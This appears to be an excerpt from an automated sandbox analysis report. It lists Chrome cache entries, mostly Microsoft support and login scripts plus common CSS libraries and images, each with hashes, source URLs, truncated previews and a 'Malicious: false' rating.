SSDEEP:	96:Af3vI6YmI62HUbHbZbpVuJRDhxwC9jTx+IRcaOs/Z:Af3vI6YmI62HUrllgffOQZ
MD5:	A249B03B72AB5E7B60E7806457B9BE61
SHA1:	FF0B5F4FB91A9DBF147262AD59B292C6C2DFE122
SHA-256:	48FF8C6449BEF199F206C7A1C49403E10DC6341A9D4A1F8946B042DDE66E315F
SHA-512:	29F204E3813972DC76FCE3DD6715093646EB0DA52DEDAC5E7E09B618E5CF8703CDE95D463727EB29F90D461D0C5A73B5701EC39B994A268103A06306144A6F34
Malicious:	false
Reputation:	low
URL:	https://support.microsoft.com/js/PromotionBanner.Main.min.js?v=SP-MZEm-8ZnyBsehxJQD4Q3GNBqdSh-JRrBC3eZuMV8
Preview:	!function(){"use strict";var n;!function(n){n.PromotionBanner=".PromotionBanner",n.TopPageBanner=".TopPageBanner",n.AboveUhfBanner=".AboveUhfBanner",n.RailBanner=".RailBanner",n.NpsRailBanner=".NpsRailBanner",n.RailSecondaryCtaBanner=".RailSecondaryCtaBanner"}(n\|\|(n={}));var e=[{dismissSelector:null,clickSelector:"#ucsTopBannerButtonLink",element:n.PromotionBanner},{dismissSelector:"#top-banner-dismiss-button",clickSelector:"#ucsTopBannerButtonLink",element:n.TopPageBanner},{dismissSelector:"#uhf-banner-close",clickSelector:"#upgradeUhfBannerButton",element:n.AboveUhfBanner},{dismissSelector:"#rail-banner-dismiss-button",clickSelector:"#rail-banner-button",element:n.RailBanner},{dismissSelector:"#nps-rail-close",clickSelector:"#nps-rail-link",element:n.NpsRailBanner},{dismissSelector:"#rail-banner-dismiss-button",clickSelector:"#rail-banner-button, #rail-banner-button-secondary",element:n.RailSecondaryCtaBanner}],t=function(){return t=Object.assign\|\|function(n){for(var e,t=1,r=argument

Chrome Cache Entry: 201

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65324)
Category:	downloaded
Size (bytes):	160403
Entropy (8bit):	5.078465636014381
Encrypted:	false
SSDEEP:	1536:2THqIJOT7SyEIA1pDEBi8yNcuSEeA1/uypq3SYiLENM6HN26H:YH9vGGq3SYiLENM6HN26H
MD5:	3AFE15E976734D9DAAC26310110C4594
SHA1:	4F14A09A606C99A11F8FDA15564EF66F70402826
SHA-256:	680AF6669ABC319F9803F0FA26D443DF1B6BC29133D88A8E4BEA560FFED7288C
SHA-512:	ACED925C428148809AFC07F28442B966A58508EA24D6B7203D87C63AAB57DF93B28AB68183A5DAE0D9C12705E0A484685DE5A370099C42788C869DB686D0DCEA
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.5.0/css/bootstrap.min.css
Preview:	/!. Bootstrap v4.5.0 (https://getbootstrap.com/). * Copyright 2011-2020 The Bootstrap Authors. * Copyright 2011-2020 Twitter, Inc.. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). /:root{--blue:#007bff;--indigo:#6610f2;--purple:#6f42c1;--pink:#e83e8c;--red:#dc3545;--orange:#fd7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--font-family-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace},::after,::before{box-sizing:

Chrome Cache Entry: 202

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3450), with CRLF line terminators
Category:	downloaded
Size (bytes):	3452
Entropy (8bit):	5.117912766689607
Encrypted:	false
SSDEEP:	96:3qO9I9Sz9KHULI5m4UidBGLosqAsosushswsosry:a2IYz95qTdBac
MD5:	CB06E9A552B197D5C0EA600B431A3407
SHA1:	04E167433F2F1038C78F387F8A166BB6542C2008
SHA-256:	1F4EDBD2416E15BD82E61BA1A8E5558D44C4E914536B1B07712181BF57934021
SHA-512:	1B4A3919E442EE4D2F30AE29B1C70DF7274E5428BCB6B3EDD84DCB92D60A0D6BDD9FA6D9DDE8EAB341FF4C12DE00A50858BF1FC5B6135B71E9E177F5A9ED34B9
Malicious:	false
Reputation:	low
URL:	https://login.live.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.

Chrome Cache Entry: 203

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (23190), with CRLF line terminators
Category:	downloaded
Size (bytes):	23654
Entropy (8bit):	5.765197491809171
Encrypted:	false
SSDEEP:	384:HCLbHIEsQdsQvZxyF1Aw8B7Nv0edjuDNaFTLLb2M/zvyMEZWpn:ifH9yF1IBBdq5yF/2dE
MD5:	D6AB70B28D4E9DC059FB167C0F8A4FD5
SHA1:	B1CC1D13B3E9470A305756BB9B51F32AFA7326A7
SHA-256:	F864E0E1A13F45952FA483F1EB97FFFF991FFC2D747639419CCB223DD982AA26
SHA-512:	8CCE273C92A8B10E9C34486E06AF384111139E2AD962130D2CF0820BF8474A45438F41959E1FEB9221D66381879C879D158F576A66572F4254BF5C130136F939
Malicious:	false
Reputation:	low
URL:	https://fpt.live.com/?session_id=580b85fc2bfd4d5ca847f21f296d9c66&CustomerId=33e01921-4d64-4f8c-a055-5bdaffd5e33d&PageId=SU
Preview:	<!DOCTYPE html>..<html xmlns="http://www.w3.org/1999/xhtml">..<head>.. <title></title>.. <script>var localTarget='https://fpt.live.com/',target='https://fpt2.microsoft.com/Clear.HTML?ctx=Ls1.0&wl=False&',txnId='580b85fc2bfd4d5ca847f21f296d9c66',ticks='8DCC878A8783D43',rid='7ac3c7d0-3d9a-43cc-569f-fb7c76386fcb',authKey='taBcrIH61PuCVH7eNCyH0OPzOrGnaCb%252f7mTjN%252fuIW2skF5aedgroigMCqTPW81LsfdjE780b471Kcdte%252boQb7n7Wr6Rx%252f78LNZP%252bLhg98I7wzdlf4Q6JCyp9nUPBEruU0dHed0FWV5f1IfkxNhRMSxzHT%252fkB5RElKrORUrAjx%252fvmIvn44ZwRk44JG7pylPe%252fomUDVz8xxX0QWMbS7Hd1L8GLHKSo%252b7Rph4RI43qnEAfhMASkKnb0pGfcNEW5o5dr4BMdtI7aFkuF0dA%252bO7l8vUiuHMfdqV4ROmr2xwQ0X4aCpN%252bE3s3MjJmbVYNG7FV1',cid='33e01921-4d64-4f8c-a055-5bdaffd5e33d',assessment='',waitresponse=true,bbwait=false,commonquery='&PageId=SU',lsInfo=true,splitFonts=false,noFonts=false,UCH=true,PTO=100,rticks=1724969972785,ipv6Url='',txnKey='session_id',ridKey='id',lskey='MUID';(function(){function w(){var i=0,n;return t&&t.length&&(i

Chrome Cache Entry: 204

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
URL:	https://acctcdn.msauth.net/images/favicon.ico?v=2
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 205

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1704 x 1188, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	175756
Entropy (8bit):	7.867403782739184
Encrypted:	false
SSDEEP:	3072:P20ZLFqUh1SpJqz4VhROy0ys6GQnkjvX5xhD6GWJeFK8Jwb3/g:VBfSpJqG7Ofy9GckD5xoGWqKj7/g
MD5:	78AEBE1B0915496628AB38474002E9C2
SHA1:	6F956EE0B45CB709EEE1FCDA9EF5DB61D7E119B5
SHA-256:	1FDDF163B3925FF6E0B606A074D69A5A823D51235F681374DD65B4B4DEF1C64D
SHA-512:	3C826FE6EECFE35D7999B60416AEB1803820D8491439339547DBE177AC2B6D3985AD0873C1FB23CBAB236CE05679B3ADBB5C1B36E0CD1F96AC6789251C4828D2
Malicious:	false
Reputation:	low
URL:	https://support.content.office.net/en-us/media/cff57ac0-8522-41e8-9fd7-beb8d2729b0a.png
Preview:	.PNG........IHDR..............s......pHYs.........&.:4....sRGB.........gAMA......a....!IDATx.....\g}&.?.......,o./ ....$a.ai'...o..1p....\|....3L>.a....L0&.7.:C...q.....-/....j.......y......U-.[~....S..V......z8.###;=..V..4w[..V.............9+..A...1..w...mmm=X ..044..f.).............yq3y..........P.....H$....."""""""""""""u..Z........\3.+.......=....&.............H.C.....M..3.U.....8.n......ADDDDDDDDDDDDd.&...\.T.l.`../&....)...............n.....,.R..T.I...?.,................[....\.B...f........... """"""""""""2O...G?.Q.W...j........M...:DDDDDDDDDDDDD...+...Q....&K...Ny.....n.................j.....b.........m.%......................^.Xt..?...Xx....c..3.<... """""""""""".@&g:...'in&v..9.._...X.z.3.j5."""""""""""""..,....].?.M.8a....S^{{._.V}.............,BKK...8..m...M.Pf...s.Nl...j..DDDDD """"""".444.X.f.-.B...N?.B..c......j5..DDDDDDDDDDDDD........c...n..v..oZ......T..FFFP.T.x@..........................D........k...9.$.3uww..>...F.g...[n..^.....r.

Chrome Cache Entry: 206

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (27557)
Category:	downloaded
Size (bytes):	28101
Entropy (8bit):	4.799557763132519
Encrypted:	false
SSDEEP:	384:+cMgnhpiWbEHJMdxefafwiYxM4EOXpJOccGfqVDiivbx0x+FZE:E2ci2yflYxMyZJOccGyVuivbx4+DE
MD5:	4334C8C70998D81BDE3E6765828811A6
SHA1:	DE27D3920885BE830EBA8B77FF1C3B320AFC5B98
SHA-256:	1E8638F605575BD335D49EFA95E165ADF7EF06DDA8E367661AC2517A0A3A96B4
SHA-512:	0340F7A2BB6053B2A8E42003EC0238ACF7CCF815D320D431028C83D1CF3B37A96D9CEB749E5C61828293D35B47FE306C2809D2A76E3FEE77F09D9124B5E5DE76
Malicious:	false
Reputation:	low
URL:	https://maxcdn.icons8.com/fonts/line-awesome/1.1/css/line-awesome.min.css
Preview:	/!. Line Awesome 1.1.0 by @icons_8 - https://icons8.com/line-awesome. * License - https://icons8.com/good-boy-license/ (Font: SIL OFL 1.1, CSS: MIT License). . Made with love by Icons8 [ https://icons8.com/ ] using FontCustom [ https://github.com/FontCustom/fontcustom ]. . Contacts:. * [ https://icons8.com/contact ]. . Follow Icon8 on. * Twitter [ https://twitter.com/icons_8 ]. * Facebook [ https://www.facebook.com/Icons8 ]. * Google+ [ https://plus.google.com/+Icons8 ]. * GitHub [ https://github.com/icons8 ]. */.la,.la-stack{display:inline-block}.la-fw,.la-li{text-align:center}@font-face{font-family:LineAwesome;src:url(../fonts/line-awesome.eot?v=1.1.);src:url(../fonts/line-awesome.eot??v=1.1.#iefix) format("embedded-opentype"),url(../fonts/line-awesome.woff2?v=1.1.) format("woff2"),url(../fonts/line-awesome.woff?v=1.1.) format("woff"),url(../fonts/line-awesome.ttf?v=1.1.) format("truetype"),url(../fonts/line-awesome.svg?v=1.1.#fa) format("svg");font-weigh

Chrome Cache Entry: 207

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1446 x 906, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1410351
Entropy (8bit):	7.986006208509322
Encrypted:	false
SSDEEP:	24576:AWtd8i8qdkPwFTjk/oWZdiSmKlmELDq+BKrkVLpwCfH+dD+3T7nKMr2Y:RAiFkPwFTjTWiolVLWjkRpwC/+qr2Y
MD5:	1A01EE8E1AEDB6A89EA3690F8B88BE30
SHA1:	86B2FDFC989699501873372979C6078A56499299
SHA-256:	2C2DADEFFD09EDC19419752A6B3726F8BBDB6D3E472CA4622D138DED639D17F7
SHA-512:	C31D7B8BCB68A63F7C0536A061E892F9B5552B2E6F6DCC45E0AAC08ED493732F6119359956BA5F171E98D496287659B0EF1A218382DA71DF661EF6FA23367194
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............`Y......pHYs...N...N..1......sRGB.........gAMA......a.....IDATx.....}..k=G 8......1..c.Nl<..6........[...K....P"...B.......).P2.a...d$..9 .=.].....]..k...\|...y>....]]]...............o...?............~.Q....8....<.W...&......(..<...;..Q....[.....c........\..L`2.dx.s........8..z.......g......vyO)N1]...FY...z.....Q...........Sr{.Sl...MN.}q......9......Z?....k].....x.G...v.g...^..N..."<.W.........bv...-..F..-....n...i......m.a.....W....M.".w.}.......s...0..T...0....<\|;.9..mz.].?..W......pf...Wa.L..j.........{.m..~{.P.y.a}Mv.\|=.={6.I:.{..Z.....qM.x.==Bf7_.7.v.....m.a..`).H.Ly...<.......eD....5..=:..8O..k.yW.}p..C.~.>\|..v1...<D.:..1.G.V......u..D.`......]e..~.c.%...g.=N%.w\|b.So..?.v:4.z~..u...r...Y.7......ll3!_..=....x6...p........-.]0.wZ'.q...5.;..U#.......m#xX.k.....j.zK./......~..........o.....J../=j<}T.QM;....wU.3...G....mt{.r...~1.N....M.Z..KG.pXh.<.Ow.U........]..O..O.F..s...O}J:.`zT........x..X.>..>\|.1".9.

Chrome Cache Entry: 208

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65402)
Category:	downloaded
Size (bytes):	154516
Entropy (8bit):	5.668820727464117
Encrypted:	false
SSDEEP:	3072:Bhqs2fbaMZUSFsU++EPMhnBARJNs87Xv3q1WhT0vGSVjbiOHci:BhIfbaMBy+EVNl3qggvGSVfii
MD5:	306EE895623E42F1745366B9EAFE1334
SHA1:	2ACC05C331D26F97EBD4216E2A078A610CC5C62A
SHA-256:	1FCCE77C094EE44B98F913B5D407FB17A7E9312B64AA32E27AD418EF2BD18A61
SHA-512:	17A6F6E5A3DB5B69C5B80DB9E6E4B6AD97321A4CE1C201D0051DAF36A0213768839B86DC996E79D2F50D05940B83816903FD13F8EB1BB4A2D845D97BF70AA429
Malicious:	false
Reputation:	low
URL:	https://client.hsprotect.net/PXzC5j78di/main.min.js
Preview:	// @license Copyright (C) 2014-2024 PerimeterX, Inc (www.perimeterx.com). Content of this file can not be copied and/or distributed..try{window._pxAppId="PXzC5j78di",function(){"use strict";function t(e){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},t(e)}function e(t,e){(null==e\|\|e>t.length)&&(e=t.length);for(var n=0,r=new Array(e);n<e;n++)r[n]=t[n];return r}function n(t,n){if(t){if("string"==typeof t)return e(t,n);var r=Object.prototype.toString.call(t).slice(8,-1);return"Object"===r&&t.constructor&&(r=t.constructor.name),"Map"===r\|\|"Set"===r?Array.from(t):"Arguments"===r\|\|/^(?:Ui\|I)nt(?:8\|16\|32)(?:Clamped)?Array$/.test(r)?e(t,n):void 0}}function r(t){return function(t){if(Array.isArray(t))return e(t)}(t)\|\|function(t){if("undefined"!=typeof Symbol&&null!=t[Symbol.iterator]\|\|null!=t["@@iterator"])return Array.from(t)}(t)\|\|

Chrome Cache Entry: 209

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52064)
Category:	downloaded
Size (bytes):	149676
Entropy (8bit):	5.438970312499881
Encrypted:	false
SSDEEP:	3072:1rg/MS5K4c4NnP3IlzDE80ojT0jqeCBZ5x:94c6I9X0oBH
MD5:	551146BFB0A7E6A643A54408B31FA99C
SHA1:	659BA9C42AB4B1A6DE7F943129D870DBFD36409A
SHA-256:	AE95EBC7F7A48F110E33D61414CE33E3E06AC62246FDB27A8CD027F4D371CDBC
SHA-512:	3D68C0E995EF53CF7770EDCFF0A469490F9C574E7EE7AF7792319385D003577A74A788307843468FF2272C1C407597BB956450A64FF0A2E1E487DE70A57EFC0D
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/js/FetchSessions_Core_VRFGv7Cn5qZDpUQIsx-pnA2.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function n(n){for(var t,r,i=n[0],a=n[1],s=0,u=[];s<i.length;s++)

Chrome Cache Entry: 210

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65460)
Category:	dropped
Size (bytes):	566945
Entropy (8bit):	5.427445847196822
Encrypted:	false
SSDEEP:	6144:XU3oul3BmWRE2cXXB6l4QK/AAcRDsEbXiTMTyMm6OTa9/2y16gnu1:XQY22kuQ4/a/2y16gnu1
MD5:	0848B540E7CEFA19B6B90711E600470E
SHA1:	15A6D705E861BDBD6E4620F3982C4CDD6581BCD5
SHA-256:	5E8CB94E51F938396C62AAB378E9CCEB8D94C008730084188AAC207E8151697E
SHA-512:	6A33F5B167EBDB7ED2C21D1061603D61577A366B833155400A687CBD83E108910A4A58E29B36CAE96B51828E4D0D7C4BD714B4BF2C8C6834225839A5287288B5
Malicious:	false
Reputation:	low
Preview:	/! For license information please see ucsCreativeService.js.LICENSE.txt /.!function(){var e={646:function(e,t,n){"use strict";function r(e){o.length\|\|(i(),!0),o[o.length]=e}e.exports=r;var i,o=[],a=0,u=1024;function c(){for(;a<o.length;){var e=a;if(a+=1,o[e].call(),a>u){for(var t=0,n=o.length-a;t<n;t++)o[t]=o[t+a];o.length-=a,a=0}}o.length=0,a=0,!1}var l="undefined"!==typeof n.g?n.g:self,s=l.MutationObserver\|\|l.WebKitMutationObserver;function f(e){return function(){var t=setTimeout(r,0),n=setInterval(r,50);function r(){clearTimeout(t),clearInterval(n),e()}}}i="function"===typeof s?function(e){var t=1,n=new s(e),r=document.createTextNode("");return n.observe(r,{characterData:!0}),function(){t=-t,r.data=t}}(c):f(c),r.requestFlush=i,r.makeRequestCallFromTimer=f},2277:function(e,t){var n;!function(){"use strict";var r={}.hasOwnProperty;function i(){for(var e=[],t=0;t<arguments.length;t++){var n=arguments[t];if(n){var o=typeof n;if("string"===o\|\|"number"===o)e.push(n);else if(Array.isArra

Chrome Cache Entry: 211

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2824)
Category:	downloaded
Size (bytes):	2874
Entropy (8bit):	5.196998647096783
Encrypted:	false
SSDEEP:	48:9gqOZplvxm+DnZAKXJJRfhFSenR0waxOf5S6Yi29fJXWcE0129fJBBnfK5DxZ:ZOZvoknZr1P3tCOfV29v29zpIDxZ
MD5:	78C4311E4D7A1AFDE2EC6FB093FE40A2
SHA1:	FB9A1881E03ADF12A393759606FF384F847A52A8
SHA-256:	2CA909B3DA6E4A4FC7FD3C9DD490C4DB45435C995177AA5D7D154852EFD69E25
SHA-512:	8736EA1BD4C1DB34FEE9C3B71753D986FFD56129C12C3D3B3C41B920936C13DFFA59E887FC50A6D6AF33C74A9CAD1531FCCBD9620AE0C1AE2FA3C8BF455465AE
Malicious:	false
Reputation:	low
URL:	https://support.microsoft.com/js/SilentSignIn.Main.min.js?v=LKkJs9puSk_H_Tyd1JDE20VDXJlRd6pdfRVIUu_WniU
Preview:	!function(){"use strict";var t,n,e,o;function i(t,n){var e,o,i,r;"object"==typeof window.top.analytics&&(t.behavior=null===(o=null===(e=window.top)\|\|void 0===e?void 0:e.oneDS)\|\|void 0===o?void 0:o.Behavior[n],null===(r=null===(i=window.top)\|\|void 0===i?void 0:i.analytics)\|\|void 0===r\|\|r.captureContentUpdate(t))}(e=t\|\|(t={})).None="None",e.EU="EU",function(t){t[t.Undefined=0]="Undefined",t[t.MinorWithoutParentalConsent=1]="MinorWithoutParentalConsent",t[t.MinorWithParentalConsent=2]="MinorWithParentalConsent",t[t.Adult=3]="Adult",t[t.NotAdult=4]="NotAdult",t[t.MinorNoParentalConsentRequired=5]="MinorNoParentalConsentRequired"}(n\|\|(n={})),function(t){t.Impression="IMPRESSION",t.SignIn="SIGNIN"}(o\|\|(o={}));var r,l=function(){return l=Object.assign\|\|function(t){for(var n,e=1,o=arguments.length;e<o;e++)for(var i in n=arguments[e])Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i]);return t},l.apply(this,arguments)};function d(){var t=window.top.document.getElementById("iframeOP");return"

Chrome Cache Entry: 212

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	204055
Entropy (8bit):	5.557201746049791
Encrypted:	false
SSDEEP:	3072:DismT/mHKxQlVyDqBPAizS7Mzm3NLJa2lQn+SM7qSASyntnh:2smT+X+NLJab+S2qSASyntnh
MD5:	7B3A8EB2DF127E5D0870E11C116A5F8F
SHA1:	3A7EC51120E9EC70911C3B5554DEC5AA5FD61168
SHA-256:	6BFD174274D9ACE1C7E8B7B66F8AE0C33D263AF788ED989561E9E43D46622482
SHA-512:	012FA37875CDDCC7AEF98397E45C4FB339C30E12E4F7929AC81E0076DBB2657A108822C3AD9332A81A4C34682A81F1AFE73A3598AF4403FB13EC68B2B274F441
Malicious:	false
Reputation:	low
URL:	https://mem.gfx.ms/scripts/me/MeControl/10.24086.4/en-US/meBoot.min.js
Preview:	MeControlDefine("meBoot",["exports","@mecontrol/web-inline"],function(t,S){"use strict";var c=function(){},i={},u=[],p=[];function O(t,e){var r,n,o,i,a=p;for(i=arguments.length;2<i--;)u.push(arguments[i]);for(e&&null!=e.children&&(u.length\|\|u.push(e.children),delete e.children);u.length;)if((n=u.pop())&&void 0!==n.pop)for(i=n.length;i--;)u.push(n[i]);else"boolean"==typeof n&&(n=null),(o="function"!=typeof t)&&(null==n?n="":"number"==typeof n?n=String(n):"string"!=typeof n&&(o=!1)),o&&r?a[a.length-1]+=n:a===p?a=[n]:a.push(n),r=o;var s=new c;return s.nodeName=t,s.children=a,s.attributes=null==e?void 0:e,s.key=null==e?void 0:e.key,s}function T(t,e){for(var r in e)t[r]=e[r];return t}function d(t,e){t&&("function"==typeof t?t(e):t.current=e)}var e="function"==typeof Promise?Promise.resolve().then.bind(Promise.resolve()):setTimeout;var l=/acit\|ex(?:s\|g\|n\|p\|$)\|rph\|ows\|mnc\|ntw\|ine[ch]\|zoo\|^ord/i,r=[];function a(t){!t._dirty&&(t._dirty=!0)&&1==r.push(t)&&e(n)}function n(){for(var t;t=r.pop();)t

Chrome Cache Entry: 213

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (5167), with no line terminators
Category:	downloaded
Size (bytes):	5172
Entropy (8bit):	5.2996444594490715
Encrypted:	false
SSDEEP:	96:maSsBZbROvF/xCkt/+5HnoaYn/7lJY/nEkZJjJE0+H/k7A/kOJQJsJgJqJaNJ/Je:maSsBZbRO1xxtDa+7lJ4nVZJjJE0+f0k
MD5:	DE166AA9ADF2414323C2753B85A1A15B
SHA1:	5A22600FE878C436AAC125FAF8CC5B7AB56A3116
SHA-256:	3F8BEE024642190823492958CD4EB3E45B5D1B29191E3794B61A8BA6DC813C09
SHA-512:	5C6416A113141EB328DAFB5311E6FB1F9250BBE5F332E6D77155FA6F16BFD8B43C2B8908575E0102B90869342770AA444A9F2259E48EC03E18B739D95E181230
Malicious:	false
Reputation:	low
URL:	https://support.microsoft.com/css/Article/left-nav.css?v=P4vuAkZCGQgjSSlYzU6z5FtdGykZHjeUthqLptyBPAk
Preview:	.html[dir=rtl] .supLeftNavActiveCategory{padding-left:30px;padding-right:0;border-right:3px solid #434343;border-left:none}html[dir=rtl] .supLeftNavCategory{border-left:none;padding-right:16px;padding-left:0}html[dir=rtl] .supLeftNavCategory:not(.supLeftNavActiveCategory){border-left:none;border-right:3px solid #e6e6e6}html[dir=rtl] .supLeftNavArticles{padding-right:13px;padding-left:0}html[dir=rtl] .supLeftNavMobileView{right:0}html[dir=rtl] .supLeftNavMobileViewCloseButton{border-left:0;border-right:solid thin #e6e6e6}html[dir=rtl] .supLeftNavMobileViewClose{right:12px}html[dir=rtl] #supLeftNav{float:right;padding-right:0;padding-left:20px}#supLeftNav{box-sizing:border-box;font-family:"Segoe UI","Segoe UI Web","wf_segoe-ui_normal","Helvetica Neue","BBAlpha Sans","S60 Sans",Arial,sans-serif;font-size:1.4em;font-weight:400;line-height:1.28;padding-right:20px;color:#767676;margin-top:17px}#supLeftNavDisplayTitle,#supLeftNavMobileDisplayTitle{color:#1e1e1e;margin-bottom:20px;margin-top

Chrome Cache Entry: 214

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	21727
Entropy (8bit):	5.232101618468897
Encrypted:	false
SSDEEP:	384:xYzlQeau9P3TI8NCUiLFv1uP4ZVSc2uQyea+eHbJjaTbz7NiCR6Rv98NOsQzOiL/:xYhQel3TI2ChBt2OVSZuQoJjG7N1R6Rp
MD5:	C49C34EE38F103BCB82F58DED32F57DB
SHA1:	757C8CE6D92102903F636C20B70E414A5E9A2E20
SHA-256:	BDBBDA3BD97031FF5BCB76B427D2ECD9C4617922C3860F662E51FB18AC5CC591
SHA-512:	5C5307784F8B7D3CF479154CADF3525D1D1BF05216D72BB32ABEF6E25183E26FB4D84DB7B14AA2868B11F54E23284D02BFE0309EE4D560AC79A507F762DBC219
Malicious:	false
Reputation:	low
URL:	https://support.microsoft.com/js/feedback.js?v=vbvaO9lwMf9by3a0J9Ls2cRheSLDhg9mLlH7GKxcxZE
Preview:	/! Copyright (C) Microsoft. All rights reserved. /....(function ($) {...'use strict';...(function smartFeedback() {....var activatedStarRatingValue = null;....var activatedStarRatingLabel = null;....var userSelectionIsInfoHelpful = null;......var checkBoxSelected = false;....var starRatingSelected = false;....var verbatimEntered = false;....var $spanDisplayElementsForStarCheckbox = $(".translationRatingStar, .checkboxTick");....var $extendedFeedbackStarCheckboxElements = $(".translationRatingStar, .articleExperienceOptionsCheckbox");......var $extendedFeedback = $("#extendedFeedback");....var $extendedFeedbackForm = $("#extendedFeedbackForm");....var $feedbackWrapper = $('#supWrapperToPreventFeedbackFlickering');....var $starRatingDescription = $("#starRatingDescription");....var $supDisableStickyFeedbackButton = $("#supDisableStickyFeedbackButton");....var isEnableStarRating = $feedbackWrapper.data("enableStarRating") ? $feedbackWrapper.data("enableStarRating").toLowerCase() === "tr

Chrome Cache Entry: 215

Download File

